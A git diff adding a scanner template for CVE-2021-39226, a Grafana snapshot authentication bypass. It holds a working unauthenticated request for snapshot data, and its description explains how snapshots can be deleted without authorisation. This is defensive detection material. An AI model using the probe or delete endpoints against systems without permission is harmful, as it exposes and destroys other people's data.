diff --git a/cves/2021/CVE-39226.yaml b/cves/2021/CVE-39226.yaml
new file mode 100644
index 0000000000..70e9dda091
--- /dev/null
+++ b/cves/2021/CVE-39226.yaml
@@ -0,0 +1,31 @@
+id: CVE-2021-39226
+
+info:
+  name: Grafana Snapshot authentication bypass
+  author: Evan Rubinstein
+  description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accesing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accesing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can delete snapshots by accesing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snappshot/:key, regardless of wether or not the snapshot is set to public mode (disabled by default). Make sure you obtain permission before testing the delete functionality, as this can cause a denial of service. As always, ensure that you test your results manually to ensure your findings are good. Happy Hunting!
+  reference:
+    - https://github.com/advisories/GHSA-69j6-29vr-p3j9
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-39226
+  severity: critical
+  tags: cve,cve2021,grafana
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2021-39226
+    cwe-id: CWE-200
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/api/snapshots/:key"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"isSnapshot":true'
\ No newline at end of file